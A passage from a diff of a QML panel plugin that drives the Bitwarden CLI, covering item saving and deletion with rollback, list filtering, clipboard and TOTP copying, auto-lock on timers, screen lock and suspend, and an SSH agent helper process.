!== "none") ? selectedFolder : "" + newFolderName = "" + formPicker = "" + formCollections = [] + formCollectionIds = [] + if (formOrgId && formOrgId !== "personal") loadOrgCollections(formOrgId) + formPasswordRevealed = false + errorMessage = "" + currentScreen = "edit" + } + + // The item form as one object, so a save that fails can be reopened exactly + // as it was rather than costing the user everything they typed. + function captureItemForm() { + return { + isEditing: formIsEditing, itemId: formItemId, typeCode: formTypeCode, + name: formName, username: formUsername, password: formPassword, + totp: formTotp, uri: formUri, notes: formNotes, favorite: formFavorite, + orgId: formOrgId, folderId: formFolderId, + collectionIds: (formCollectionIds || []).slice(), + typeFields: formTypeFields() + } + } + + function restoreItemForm(f) { + if (!f) return + formIsEditing = f.isEditing + formItemId = f.itemId + formTypeCode = f.typeCode + formName = f.name + formUsername = f.username + formPassword = f.password + formTotp = f.totp + formUri = f.uri + formNotes = f.notes + formFavorite = f.favorite + formOrgId = f.orgId + formFolderId = f.folderId + formCollectionIds = (f.collectionIds || []).slice() + loadTypeFields({ card: f.typeCode === 3 ? f.typeFields : null, + identity: f.typeCode === 4 ? f.typeFields : null }) + formPicker = "" + formPasswordRevealed = false + if (formOrgId && formOrgId !== "personal") loadOrgCollections(formOrgId) + currentScreen = "edit" + } + + // Reopens the form a refused save was made from. + function reopenFailedSave() { + if (!failedSave) return + var f = failedSave.form + failedSave = null + errorMessage = "" + restoreItemForm(f) + } + + function startEditItem(item) { + if (!item || item.typeCode === 5) { + if (item && item.typeCode === 5) errorMessage = "SSH keys are read-only public records" + return + } + // The vault has not answered about this row yet, and on a create it does + // not have an id to edit. Editing it would race the save it is waiting on. + if (item.pending) { + errorMessage = "Still saving this item -- one moment" + return + } + formIsEditing = true + formItemId = item.id + formTypeCode = item.typeCode || 1 + formName = item.name || "" + formUsername = item.username || "" + formPassword = detailPassword || (item.rawObject && item.rawObject.login ? item.rawObject.login.password : "") || "" + formTotp = item.totpKey || (item.rawObject && item.rawObject.login ? item.rawObject.login.totp : "") || "" + formUri = item.uris && item.uris.length > 0 ? item.uris[0] : "" + formNotes = item.notes || "" + formFavorite = Boolean(item.favorite) + formOrgId = item.organizationId || "" + formFolderId = item.folderId || "" + newFolderName = "" + formPicker = "" + formCollections = [] + // Editing keeps whatever collections the item already has until changed. + formCollectionIds = (item.rawObject && item.rawObject.collectionIds) + ? item.rawObject.collectionIds.slice() : [] + // The list row carries the parsed card and identity, so an edit opens with + // the real values in the boxes rather than blanks that would be written + // straight back over them on save. + loadTypeFields(item) + if (formOrgId && formOrgId !== "personal") loadOrgCollections(formOrgId) + formPasswordRevealed = false + errorMessage = "" + currentScreen = "edit" + } + + // A save takes as long as `bw` takes -- a second or two of CLI startup, vault + // decryption and a round trip, none of which this plugin can shorten. What it + // can do is stop making the user watch. The form closes as soon as the + // command is launched and the list shows the item as it will be, marked as + // saving, and the authoritative row replaces it when the vault answers. + // + // One at a time. There is a single process per kind, and starting a second + // command on a running one would lose the first; a save while one is in + // flight is refused with a reason rather than silently dropped. + function saveItemForm() { + if (pendingSave) { + errorMessage = "Still saving " + pendingSave.name + " -- one moment" + return + } + + // Bitwarden refuses an organization item with no collection; say so here + // rather than letting the CLI fail after the form is gone. + var problem = Model.validateItemForm(formName, formOrgId, formCollectionIds) + if (problem) { + errorMessage = problem + return + } + + var editing = formIsEditing + var payload = editing + ? Model.buildEditPayload(detailItem, formName, formUsername, formPassword, formTotp, formUri, formNotes, formFavorite, formOrgId, formFolderId, formCollectionIds, formTypeFields()) + : Model.buildCreatePayload(formTypeCode, formName, formUsername, formPassword, formTotp, formUri, formNotes, formFavorite, formOrgId, formFolderId, formCollectionIds, formTypeFields()) + if (!payload) { + errorMessage = editing ? "This item is read-only" : "This item type is read-only" + return + } + + errorMessage = "" + beginVaultRead("itemSave") + + // An edit keeps the item's id; a create has none until the server assigns + // one, so the row carries a provisional id the response swaps out. + var rowId = editing ? formItemId : Model.pendingItemId(Date.now()) + var optimistic = Model.optimisticItem(payload, rowId) + + pendingSave = { + id: rowId, + isCreate: !editing, + name: String(formName || "Untitled").trim(), + // What the list held before, so a failed save can put it back rather + // than leaving the panel showing something the vault never accepted. + previous: editing ? Model.findItemById(items, rowId) : null, + // The form as it was, so a failed save can be reopened and retried + // instead of costing the user everything they typed. + form: captureItemForm() + } + + itemPayloadJson = JSON.stringify(payload) + if (editing) { + editItemProc.command = Model.editItemCommand(formItemId, formTypeCode) + editItemProc.running = true + } else { + createItemProc.command = Model.createItemCommand(payload) + createItemProc.running = true + } + + if (optimistic) { + items = Model.replaceItemById(items, rowId, optimistic) + itemsLoadedAt = Date.now() + refreshDerivedFromItems() + } + currentScreen = "main" + } + + function onSaveItemFinished(exitCode, stdoutText, stderrText) { + isLoading = false + // The payload carries the item's password in the clear, the same way a + // Send payload does, so it goes the same way the Send one does: as soon as + // the process that needed it has exited. + itemPayloadJson = "" + + var save = pendingSave + pendingSave = null + if (vaultReadIsStale("itemSave")) return + + if (exitCode !== 0) { + // The vault refused it, so the list must stop showing it as though it + // had not. The optimistic row is taken back out -- replaced by what was + // there before on an edit, removed entirely on a create -- and what the + // user typed is kept so they can reopen it instead of retyping it. + if (save) { + items = Model.replaceItemById(items, save.id, save.previous) + itemsLoadedAt = Date.now() + refreshDerivedFromItems() + failedSave = { name: save.name, form: save.form } + errorMessage = "Could not save " + save.name + ". " + (stderrText || "") + } else { + errorMessage = stderrText || "Failed to save item" + } + return + } + + flashNotification(save && save.isCreate ? "Item created successfully!" : "Item updated successfully!") + + // The save printed the item the vault now holds, so the list can be + // brought up to date from that instead of re-reading and re-decrypting + // every other item to learn about this one. On a create the row being + // replaced is the provisional one, whose id the server has just assigned. + // + // Any doubt falls back to the full read. The command prints a marker when + // the item was stored but could not be sanitised, and spliceSavedItem + // returns null on an envelope it does not recognise; in both cases the + // item is in the vault and the list simply has to catch up the slow way. + // A list that quietly disagrees with the vault is worse than a slow one. + var spliced = String(stdoutText).indexOf(Model.savedUnsanitizedMarker()) === 0 + ? null : Model.spliceSavedItem(items, stdoutText, save ? save.id : "") + if (!spliced) { + // A provisional row must never survive a reload it is not part of. + if (save && save.isCreate) items = Model.replaceItemById(items, save.id, null) + loadItems() + return + } + items = spliced + itemsLoadedAt = Date.now() + refreshDerivedFromItems() + } + + // A delete costs the same second or two of `bw` a save does, and used to + // spend it on a frozen detail screen and then spend more of it re-reading + // the whole vault to learn about the one row that had gone. The row goes + // now and the panel comes back; if the vault refuses, the row returns. + function deleteCurrentItem() { + if (!detailItem || !detailItem.id || detailItem.typeCode === 5) return + if (detailItem.pending || Model.isPendingItemId(detailItem.id)) { + errorMessage = "Still saving this item -- one moment" + return + } + if (pendingDelete) { + errorMessage = "Still deleting " + pendingDelete.name + " -- one moment" + return + } + + var id = detailItem.id + pendingDelete = { + id: id, + name: String(detailItem.name || "this item"), + // The row as the list holds it, so a refusal can put it back exactly. + previous: Model.findItemById(items, id) + } + + beginVaultRead("itemDelete") + deleteItemProc.command = Model.deleteItemCommand(id, detailItem.typeCode) + deleteItemProc.running = true + + showDeleteConfirm = false + items = Model.replaceItemById(items, id, null) + itemsLoadedAt = Date.now() + refreshDerivedFromItems() + currentScreen = "main" + } + + function onDeleteItemFinished(exitCode, stdoutText, stderrText) { + isLoading = false + showDeleteConfirm = false + + var removal = pendingDelete + pendingDelete = null + if (vaultReadIsStale("itemDelete")) return + + if (exitCode === 0) { + // The row is already gone and nothing else about the vault changed, so + // there is nothing left to read. + flashNotification("Item deleted") + return + } + + // Still in the vault, so it belongs back in the list. Nothing was typed + // here, so putting the row back is the whole of the recovery. + if (removal && removal.previous) { + items = Model.replaceItemById(items, removal.id, removal.previous) + itemsLoadedAt = Date.now() + refreshDerivedFromItems() + errorMessage = "Could not delete " + removal.name + ". " + (stderrText || "") + } else { + errorMessage = stderrText || "Failed to delete item" + } + } + + // ------------------------------------------------------------------------- + // Filtering & Selection + // ------------------------------------------------------------------------- + + // Everything downstream of `items`. Suggestions are derived from the item + // list too, so a change to it that only called rebuildFilter() would leave + // the suggested rows describing the vault as it was. Both the full load and + // a single spliced save come through here so they cannot drift. + function refreshDerivedFromItems() { + if (activeWindowData) { + handleActiveWindowDetected(activeWindowData) + } else { + rebuildFilter() + } + } + + function rebuildFilter() { + var baseList = Model.filterItems(items, searchQuery, selectedCategory, selectedOrg, selectedFolder) + if (searchQuery.trim() === "" && selectedCategory === "all" && selectedOrg === "all" && selectedFolder === "all" && !suggestionsDismissed && suggestedItems.length > 0) { + var suggestedIds = {} + var topMatches = [] + for (var s = 0; s < suggestedItems.length; s++) { + var sItem = Object.assign({}, suggestedItems[s], { isSuggested: true }) + topMatches.push(sItem) + suggestedIds[sItem.id] = true + } + var otherItems = [] + for (var o = 0; o < baseList.length; o++) { + if (!suggestedIds[baseList[o].id]) { + otherItems.push(baseList[o]) + } + } + filteredItems = topMatches.concat(otherItems) + } else { + filteredItems = baseList + } + + if (selectedIndex >= filteredItems.length) { + selectedIndex = Math.max(0, filteredItems.length - 1) + } + if (selectedIndex < 0 && filteredItems.length > 0) { + selectedIndex = 0 + } + } + + // What the list says when it has nothing to show. The SSH filter gets its own + // answer: a vault that returned no SSH keys is not the same as a server that + // never confirmed it can store them, and only the first is worth waiting on. + function emptyListMessage() { + if (selectedCategory === "sshKey" && filteredItems.length === 0 && sshCapability + && sshCapability.state === "unconfirmed") { + return sshCapability.message + } + if (items.length === 0) return "Vault is empty" + return "No items match '" + searchQuery + "'" + } + + function selectCategory(catId) { + selectedCategory = catId === "sshKey" && !sshUiAvailable ? "all" : catId + selectedIndex = 0 + rebuildFilter() + } + + function selectOrganization(orgId) { + selectedOrg = orgId + selectedIndex = 0 + rebuildFilter() + } + + function cycleCategory(delta) { + var currentIndex = 0 + for (var i = 0; i < visibleCategories.length; i++) { + if (visibleCategories[i].id === selectedCategory) { + currentIndex = i + break + } + } + var nextIndex = (currentIndex + delta + visibleCategories.length) % visibleCategories.length + selectCategory(visibleCategories[nextIndex].id) + } + + // Every main-screen shortcut in one place. Reached two ways: bare letters + // when the list has focus, and Alt+letter from inside the search box, where + // a bare letter is search text and must stay that way. + // Alt+letter. Same table as the bare letters, except Alt+s opens Sends -- + // Send has no bare letter of its own, and plain s is already Settings. + function runAltShortcut(lower) { + // Alt+s is Send, which has no bare letter of its own, so Settings keeps + // its own Alt binding on the comma rather than losing one. + if (lower === "s") { openSends(); return true } + if (lower === ",") { openSettings(); return true } + return runShortcut(lower) + } + + function runShortcut(lower) { + var item = getSelectedItem() + switch (lower) { + case "y": case "p": if (item) copyPassword(item); return true + case "u": case "c": if (item) copyUsername(item); return true + case "m": if (item && item.hasTotp) copyTotpCode(item); return true + case "w": if (item && item.uris && item.uris.length > 0) openUrl(item.uris[0]); return true + case "e": if (item) openDetail(item); return true + case "n": startAddNewItem(); return true + case "l": lockVault(); return true + case "r": syncVault(); return true + case "f": toggleFilterGroup("folders"); return true + case "o": toggleFilterGroup("organizations"); return true + case "t": toggleFilterGroup("types"); return true + case "g": openGenerator(); return true + case "s": openSettings(); return true + } + return false + } + + function moveCursor(delta) { + if (filteredItems.length === 0) return + // Moving to an item means the user is done filtering; get the list out of + // the way rather than leaving it covering the results. + openFilterGroup = "" + selectedIndex = Math.max(0, Math.min(filteredItems.length - 1, selectedIndex + delta)) + if (itemsListView) { + itemsListView.positionViewAtIndex(selectedIndex, ListView.Contain) + } + } + + function getSelectedItem() { + if (filteredItems.length === 0 || selectedIndex < 0 || selectedIndex >= filteredItems.length) { + return null + } + return filteredItems[selectedIndex] + } + + // ------------------------------------------------------------------------- + // Clipboard Actions & Sequential Password -> TOTP Follow-Up + // ------------------------------------------------------------------------- + + function copyToClipboard(text, label) { + if (!text) return + resetAutoLockTimer() + // The value goes through the environment: `printf %s ''` would put + // the password or TOTP code straight into /proc//cmdline. Remove that + // variable before starting wl-copy, whose clipboard owner can outlive this + // short shell after it forks into the background. + Quickshell.execDetached({ + command: ["bash", "-c", "printf '%s' \"$QSBW_CLIP\" | env -u QSBW_CLIP wl-copy --sensitive"], + environment: { "QSBW_CLIP": String(text) } + }) + flashNotification(label + " copied!") + + if (clearClipboardSec > 0) { + clipboardClearTimer.restart() + } + } + + function clearClipboard() { + clipboardClearTimer.stop() + Quickshell.execDetached(["wl-copy", "--clear"]) + } + + function requestPasswordCopy(itemId, typeCode) { + if (!session || !itemId) return + if (copyPasswordProc.running) { + errorMessage = "Another password copy is still loading" + return + } + passwordCopyItemId = String(itemId) + beginVaultRead("passwordCopy") + copyPasswordProc.command = Model.getPasswordCommand(itemId, typeCode) + copyPasswordProc.running = true + } + + function onPasswordCopyFinished(exitCode, text) { + var requested = passwordCopyItemId + passwordCopyItemId = "" + // The clipboard has its own expiry; the pipe buffer needs one too. Once + // the value has been handed to wl-copy there is no reason to keep a second + // plaintext copy in this long-lived Process object. + clearProcessCollectorSoon(copyPasswordProc) + if (vaultReadIsStale("passwordCopy")) return + var password = String(text || "") + if (exitCode === 0 && requested && password) { + copyToClipboard(password, "Password") + return + } + errorMessage = "Could not read this password" + } + + // Smart sequential Enter handler: Copies Password, then arms and auto-copies TOTP + // Enter on a list row does the obvious thing for the item under it. For a + // login that is "copy the password", which is what this used to be and the + // only thing it did: every other type fell out of the guard below and Enter + // did nothing at all, on an item whose whole content was one keystroke away. + // + // A card, an identity, a note and an SSH key have no default secret to put + // on the clipboard, and neither does a login that was saved without a + // password. In all of those cases the useful answer is to open the item, + // which is what a user pressing Enter on a row they cannot copy from was + // reaching for anyway. + function handleSmartEnter(item) { + openFilterGroup = "" + if (!item) return + + var copyable = Model.isLoginItem(item) + && (item.hasPassword !== undefined ? item.hasPassword : Boolean(item.password)) + if (!copyable) { + openDetail(item) + return + } + + // If already in active TOTP follow-up mode for this item, copy TOTP now! + if (totpFollowupActive && totpFollowupItem && totpFollowupItem.id === item.id) { + copyTotpCode(item) + totpFollowupActive = false + if (closeOnCopy) close() + return + } + + // Step 1: Copy password + copyPassword(item) + + // Step 2: If item has TOTP, arm follow-up and schedule auto-copy! + if (item.hasTotp) { + totpFollowupItem = item + totpFollowupActive = true + fetchTotp(item.id) + totpFollowupTimer.restart() + + if (autoCopyTotpSec > 0) { + autoTotpTimer.interval = autoCopyTotpSec * 1000 + autoTotpTimer.restart() + } + } + + if (closeOnCopy) { + close() + } + } + + function copyPassword(item) { + closeFilterGroup() + if (!item || !Model.isLoginItem(item)) return + learnFromPick(item) + var pass = (detailItem && detailItem.id === item.id && detailPassword) ? detailPassword : (item.password || "") + if (pass) { + copyToClipboard(pass, "Password") + return + } + if (session) { + requestPasswordCopy(item.id, item.typeCode) + } else { + errorMessage = "Vault is locked or session expired. Please unlock your vault." + } + } + + function copyUsername(item) { + closeFilterGroup() + if (!item || !item.username) return + copyToClipboard(item.username, "Username") + } + + function copyTotpCode(item) { + closeFilterGroup() + if (!item || !Model.isLoginItem(item)) return + if (liveTotp && item.id === (detailItem ? detailItem.id : "")) { + copyToClipboard(liveTotp, "TOTP code") + return + } + if (totpFollowupActive && totpFollowupItem && totpFollowupItem.id === item.id && totpFollowupCode) { + copyToClipboard(totpFollowupCode, "TOTP code") + return + } + fetchTotp(item.id, true) + } + + function openUrl(url) { + if (!url) return + // Only http and https are handed to xdg-open; see normalizeOpenableUrl(). + var resolved = Model.normalizeOpenableUrl(url) + if (!resolved.ok) { + errorMessage = resolved.reason === "ambiguous" + ? "Refusing to open an ambiguous link containing a backslash" + : resolved.scheme + ? ("Refusing to open a " + resolved.scheme + ": link -- only http and https are opened") + : "That item has no link to open" + return + } + Quickshell.execDetached(["xdg-open", resolved.url]) + flashNotification("Opening " + resolved.url) + } + + function flashNotification(msg) { + flashMessage = msg + flashTimer.restart() + } + + function resetAutoLockTimer() { + // Recorded even when auto-lock is off, so turning it back on mid-session + // starts counting from the last thing the user did rather than from zero. + autoLockArmedAt = Date.now() + if (autoLockMinutes > 0) { + autoLockTimer.interval = autoLockMinutes * 60 * 1000 + autoLockTimer.restart() + } + } + + // ------------------------------------------------------------------------- + // Timers + // ------------------------------------------------------------------------- + + Timer { + id: searchDebounceTimer + interval: 50 + repeat: false + onTriggered: root.rebuildFilter() + } + + Timer { + id: deferredMetadataTimer + // One frame at 60 Hz is ~17 ms. Fifty milliseconds leaves room for the + // parsed item model to polish and render before two more bw processes + // begin their startup work. + interval: 50 + repeat: false + onTriggered: { + if (root.status !== "unlocked" || !root.metadataLoadPending) return + var force = root.metadataForceRefresh + root.metadataLoadPending = false + root.metadataForceRefresh = false + root.loadOrganizations(force) + root.loadFolders(force) + if (root.statusRefreshAfterItems) { + root.statusRefreshAfterItems = false + root.runStatusCheck(false) + } + } + } + + Timer { + id: flashTimer + interval: 2500 + onTriggered: root.flashMessage = "" + } + + Timer { + id: totpFollowupTimer + interval: 8000 + onTriggered: root.totpFollowupActive = false + } + + Timer { + id: autoTotpTimer + repeat: false + onTriggered: { + if (root.totpFollowupItem && root.totpFollowupItem.hasTotp) { + root.copyTotpCode(root.totpFollowupItem) + // The code itself stays out of the notification. It is already on the + // clipboard, and a notification is not a private channel: the daemon + // keeps history and can render the body over a lock screen. The panel + // shows the digits on screen instead, where you asked for them. + Quickshell.execDetached(["omarchy-notification-send", "-g", "󰥔", "--app-name", "Bitwarden", "-t", "4000", "TOTP Code Copied", "2FA verification code ready to paste"]) + root.totpFollowupActive = false + } + } + } + + Timer { + id: clipboardClearTimer + interval: root.clearClipboardSec * 1000 + onTriggered: root.clearClipboard() + } + + Timer { + id: autoLockTimer + interval: root.autoLockMinutes * 60 * 1000 + running: root.status === "unlocked" && root.autoLockMinutes > 0 + onTriggered: { + if (root.status === "unlocked") { + root.lockVault() + } + } + } + + // The timer above measures the time the shell was awake for, which on a + // laptop is not the time the vault was exposed for: Qt schedules on + // CLOCK_MONOTONIC and Linux stops that clock across a suspend, so a lock + // armed before the lid closed still had its full countdown left when the lid + // opened. This is the wall-clock half of the same deadline; see the + // Auto-lock section of BitwardenModel.js. + Timer { + id: autoLockWatchdog + interval: Model.autoLockPollMs(root.autoLockMinutes) + repeat: true + running: root.status === "unlocked" && root.autoLockMinutes > 0 + onTriggered: { + if (root.status !== "unlocked") return + // An unlock that somehow reached us without arming the window starts it + // here rather than reading a deadline of "1970 plus fifteen minutes". + if (root.autoLockArmedAt <= 0) { + root.autoLockArmedAt = Date.now() + return + } + if (Model.autoLockExpired(root.autoLockArmedAt, root.autoLockMinutes, Date.now())) { + root.lockVault() + } + } + } + + // ------------------------------------------------------------------------- + // Locking on screen lock and on suspend + // ------------------------------------------------------------------------- + // + // Both are the same conclusion the auto-lock reaches on a timer, arrived at + // from evidence instead: the vault is no longer being attended. Neither + // replaces the countdown -- a vault left open at an unlocked desk is still + // the case only elapsed time can catch. + + // The last reading from the screen-lock poll, with the moment it was taken. + // The agent needs this even when lockOnScreenLock is off, because it must + // never raise an approval prompt over a locked screen. + property bool screenIsLocked: false + property double screenLockCheckedAt: 0 + + function onScreenLockState(raw) { + root.screenIsLocked = Model.screenIsLocked(raw) + root.screenLockCheckedAt = Date.now() + if (!lockOnScreenLock || status !== "unlocked") return + if (root.screenIsLocked) lockVault() + } + + function onSleepSignal(line) { + var token = String(line || "").trim() + if (token === Model.wakeSignalToken()) { + // Coming back is not by itself a reason to do anything -- the watchdog + // below already notices a countdown that expired across the suspend -- + // but the panel should not be showing a vault state from before the lid + // closed either. + if (opened) refreshStatus() + return + } + if (token !== Model.sleepSignalToken()) return + if (!lockOnSuspend || status !== "unlocked") return + // Synchronous as far as the session key in this process is concerned; the + // keyring clear it spawns is what the inhibitor's held second is for. + lockVault() + } + + Timer { + id: screenLockPoll + interval: Model.screenLockPollMs() + repeat: true + // Nothing to ask while the setting is off or the vault is already locked, + // which between them is every state but the one this is for. + // Also while the agent is serving: an approval prompt must never appear + // over a locked screen, and that needs a current reading regardless of + // whether the vault is set to lock with the screen. + running: (root.lockOnScreenLock && root.status === "unlocked") || root.sshAgentGateOpen + onTriggered: { + if (!screenLockStateProc.running) screenLockStateProc.running = true + } + } + + // Comes back for the processes that were mid-read when the vault locked. + // Stops as soon as the queue empties, which is the same tick for everything + // that was already idle. + Timer { + id: scrubRetry + interval: Model.scrubRetryMs() + repeat: true + onTriggered: { + root.scrubStep() + if (!root.scrubPending.length) stop() + } + } + + Process { + id: screenLockStateProc + command: Model.screenLockStateCommand() + stdout: StdioCollector { + waitForEnd: true + onStreamFinished: root.onScreenLockState(text) + } + } + + Process { + id: sshAgentHelperProc + stdout: StdioCollector { + id: sshAgentHelperStdout + waitForEnd: true + onStreamFinished: root.onSshAgentHelperInspected(text) + } + } + + Process { + id: sshExportProc + command: Model.sshExportCommand() + stdinEnabled: true + stdout: StdioCollector { id: sshExportStdout; waitForEnd: true } + onExited: function(exitCode) { + sshExportProc.stdinEnabled = true + root.onSshExportFinished(exitCode, sshExportStdout.text) + } + } + + Process { + id: sshExportClearProc + command: Model.sshExportClearCommand() + stdout: StdioCollector { id: sshExportClearStdout; waitForEnd: true } + onExited: function(exitCode) { root.onSshExportFinished(exitCode, sshExportClearStdout.text) } + } + + Process { + id: loadIdProc + command: Model.loadIdCommand() + stdout: StdioCollector { + id: loadIdStdout + waitForEnd: true + onStreamFinished: root.onSshAgentLoadIdRead(text) + } + } + + Process { + id: uwsmInspectProc + command: Model.uwsmInspectCommand() + stdout: StdioCollector { + id: uwsmInspectStdout + waitForEnd: true + onStreamFinished: { + root.uwsmFragment = Model.parseUwsmInspection(text) + root.applyUwsmRestore() + } + } + } + + Process { + id: pluginDataRemoveProc + command: Model.pluginDataRemoveCommand() + stdout: StdioCollector { id: pluginDataRemoveStdout; waitForEnd: true } + onExited: function(exitCode) { root.onPluginDataRemoved(exitCode, pluginDataRemoveStdout.text) } + } + + Process { + id: uwsmWriteProc + command: Model.uwsmWriteCommand() + stdout: StdioCollector { id: uwsmWriteStdout; waitForEnd: true } + onExited: function(exitCode) { root.onUwsmActionFinished(exitCode, uwsmWriteStdout.text) } + } + + Process { + id: uwsmRemoveProc + command: Model.uwsmRemoveCommand() + stdout: StdioCollector { id: uwsmRemoveStdout; waitForEnd: true } + onExited: function(exitCode) { root.onUwsmActionFinished(exitCode, uwsmRemoveStdout.text) } + } + + // The SSH companion. Tracked and non-detached so it dies with the shell and + // with a configuration reload, rather than outliving the panel that holds + // its control channel: the helper treats stdin EOF as "drop the keys and + // exit", and that only works if this Process really owns the child. + // + // clearEnvironment strips everything the shell was started with -- PATH, + // HOME, and above all BW_SESSION -- and `environment` puts back the single + // variable the helper reads. It runs no `bw` and spawns nothing, so it needs + // nothing else. + Process { + id: sshAgentProc + // Whichever candidate the inspection accepted -- the shipped artifact by + // preference, a local development build otherwise. + command: Model.sshAgentHelperCommand(root.sshAgentPluginDir, root.sshAgentHelper.source) + clearEnvironment: true + environment: Model.sshAgentHelperEnv(root.sshAgentRuntimeDir) || ({}) + stdinEnabled: true + // Attached from startup, so the `ready` that answers hello cannot be + // missed by a parser wired up after the fact. + stdout: SplitParser { + onRead: function(line) { root.applySshAgentEvent({ kind: "line", line: line, nowMs: Date.now() }) } + } + onStarted: root.applySshAgentEvent({ kind: "started", nowMs: Date.now() }) + onExited: function(exitCode) { + sshAgentTerminateTimer.stop() + root.applySshAgentEvent({ kind: "exited", exitCode: exitCode, nowMs: Date.now() }) + } + } + + // The bound on the handshake. QML never waits for `ready`; it arms this and + // carries on, and a helper that has not answered by the time it fires is + // stopped and retried like any other failure. + Timer { + id: sshAgentHandshakeTimer + interval: Model.sshAgentHandshakeTimeoutMs() + repeat: false + running: root.sshAgentPhase === "starting" || root.sshAgentPhase === "handshaking" + onTriggered: root.applySshAgentEvent({ kind: "handshakeTimeout", nowMs: Date.now() }) + } + + // Only while there is something to count down. A grant is at most fifteen + // minutes, so this is never a timer that runs for the life of the shell. + Timer { + id: sshGrantCountdown + interval: 1000 + repeat: true + running: root.sshGrantsAnnounced.length > 0 + onTriggered: root.sshGrantTick = Date.now() + } + + Timer { + id: sshCooldownCountdown + interval: 1000 + repeat: true + running: root.sshCooldownStatus.active + onTriggered: root.noteSshCooldown() + } + + Timer { + id: sshPromptCountdown + interval: 1000 + repeat: true + running: root.sshPrompt !== null || root.sshUnlockRequest !== null + onTriggered: { + var elapsed = Date.now() - root.sshPromptStartedMs + var remaining = Math.ceil((Model.sshAgentRequestDeadlineMs() - elapsed) / 1000) + root.sshPromptRemainingSec = Math.max(0, remaining) + if (remaining <= 0) root.expireSshRequest() + } + } + + // The grace period between asking the helper to shut down and making it. + // Two seconds is far longer than dropping keys and unlinking two paths + // takes, and short enough that a wedged helper does not delay a restart. + Timer { + id: sshAgentTerminateTimer + interval: 2000 + repeat: false + onTriggered: if (sshAgentProc.running) sshAgentProc.running = false + } + + // Capped restart backoff. The interval is set by the reducer before each + // restart; the timer only reports that it elapsed. + Timer { + id: sshAgentRestartTimer + repeat: false + onTriggered: root.applySshAgentEvent({ kind: "restartTimer", nowMs: Date.now() }) + } + + // Long-lived: it holds the sleep inhibitor that makes the lock land before + // the machine is frozen, so it runs whenever the setting is on rather than + // only while the vault happens to be unlocked -- a suspend announcement is + // no use to a panel that started listening after it. + Process { + id: sleepMonitorProc + running: root.lockOnSuspend + command: Model.sleepMonitorCommand() + stdout: SplitParser { + onRead: function(line) { root.onSleepSignal(line) } + } + } + + Timer { + id: totpCountdownTimer + interval: 1000 + running: root.opened && (root.currentScreen === "detail" || root.totpFollowupActive) + repeat: true + onTriggered: { + var sec = 30 - (Math.floor(Date.now() / 1000) % 30) + root.totpSecRemaining = sec + if (sec === 30) { + if (root.currentScreen === "detail" && root.detailItem && root.detailItem.hasTotp) { + root.fetchTotp(root.detailItem.id) + } else if (root.totpFollowupActive && root.totpFollowupItem) { + root.fetchTotp(root.totpFollowupItem.id) + } + } + } + } + + // ------------------------------------------------------------------------- + // Processes (Quickshell.Io) + // ------------------------------------------------------------------------- + + Process { + id: statusProc + environment: root.bwEnv() + stdout: StdioCollector { + id: statusStdout + waitForEnd: true + } + onExited: function(exitCode) { + if (root.finishScrubRun(statusProc)) return + root.onStatusFinished(exitCode === 0 ? statusStdout.text : "") + } + } + + Process { + id: sessionHandoffProc + // Set by refreshStatus(), which decides whether this is a read or a + // discard. Defaults to the discard form so a run that somehow starts + // without going through there cannot adopt a key -- and a scrub, which + // replaces this command with one that reads nothing at all, only makes + // that stricter. + command: Model.sessionHandoffReadCommand(false) + stdout: StdioCollector { + id: sessionHandoffStdout + waitForEnd: true + } + onExited: function(exitCode) { + if (root.finishScrubRun(sessionHandoffProc)) return + root.onSessionHandoff(exitCode === 0 ? sessionHandoffStdout.text : "") + } + } + + Process { + id: keyringLookupProc + command: Model.keyringLookupCommand() + stdout: StdioCollector { + id: keyringLookupStdout + waitForEnd: true + } + onExited: function(exitCode) { + if (root.finishScrubRun(keyringLookupProc)) return + root.onKeyringLookupFinished(exitCode === 0 ? keyringLookupStdout.text : "") + } + } + + Process { + id: keyringStoreProc + command: Model.keyringStoreCommand() + environment: root.secretEnv(root.session) + onExited: function(exitCode) { + root.onSessionStored(exitCode) + if (root.logoutPending && root.allCredentialsClearPending) + Qt.callLater(root.requestAllCredentialClear) + } + } + + Process { + id: keyringClearProc + command: Model.keyringClearCommand() + onExited: function(exitCode) { + if (root.sessionClearPending) { + Qt.callLater(root.requestSessionCredentialClear) + return + } + if (root.sessionStorePending) Qt.callLater(root.storeCurrentSession) + } + } + + // ---- Fingerprint unlock ---- + + Process { + id: listFoldersProc + environment: root.bwEnv() + stdout: StdioCollector { + id: listFoldersStdout + waitForEnd: true + } + onExited: function(exitCode) { + if (root.finishScrubRun(listFoldersProc)) return + if (exitCode === 0) root.onListFoldersFinished(listFoldersStdout.text) + } + } + + Process { + id: orgCollectionsProc + environment: root.bwEnv() + stdout: StdioCollector { + id: orgCollectionsStdout + waitForEnd: true + } + onExited: function(exitCode) { + if (root.finishScrubRun(orgCollectionsProc)) return + if (exitCode === 0) root.onOrgCollectionsLoaded(orgCollectionsStdout.text) + else root.formCollectionsLoading = false + } + } + + Process { + id: createFolderProc + environment: root.folderEnv() + stdout: StdioCollector { id: createFolderStdout; waitForEnd: true } + onExited: function(exitCode) { + if (root.finishScrubRun(createFolderProc)) return + root.onFolderCreated(exitCode, createFolderStdout.text) + } + } + + Process { + id: attachmentProc + environment: root.bwEnv() + stdout: StdioCollector { id: attachmentStdout; waitForEnd: true } + stderr: StdioCollector { id: attachmentStderr; waitForEnd: true } + onExited: function(exitCode) { + if (root.finishScrubRun(attachmentProc)) return + root.onAttachmentDownloaded(exitCode, attachmentStdout.text, attachmentStderr.text) + } + } + + Process { + id: listSendsProc + environment: root.bwEnv() + stdout: StdioCollector { + id: listSendsStdout + waitForEnd: true + } + onExited: function(exitCode) { + if (root.finishScrubRun(listSendsProc)) return + if (exitCode === 0) root.onSendsLoaded(listSendsStdout.text) + else root.sendsLoading = false + } + } + + Process { + id: createSendProc + environment: root.sendEnv(root.sendPayloadJson) + stdout: StdioCollector { id: createSendStdout; waitForEnd: true } + stderr: StdioCollector { id: createSendStderr; waitForEnd: true } + onExited: function(exitCode) { + if (root.finishScrubRun(createSendProc)) return + root.onSendCreated(exitCode, createSendStdout.text, createSendStderr.text) + } + } + + Process { + id: deleteSendProc + environment: root.bwEnv() + onExited: function(exitCode) { root.onSendDeleted(exitCode) } + } + + Process { + id: generateProc + environment: root.bwEnv() + stdout: StdioCollector { id: generateStdout; waitForEnd: true } + onExited: function(exitCode) { + if (root.finishScrubRun(generateProc)) return + if (root.generateCliStopping) { + root.generateCliStopping = false + var restart = root.currentScreen === "generator" && root.genRegeneratePending + root.genBusy = false + root.genRegeneratePending = false + if (restart) Qt.callLater(root.regenerate) + return + } + root.onGenerated(generateStdout.text, exitCode) + } + } + + // The generator server. 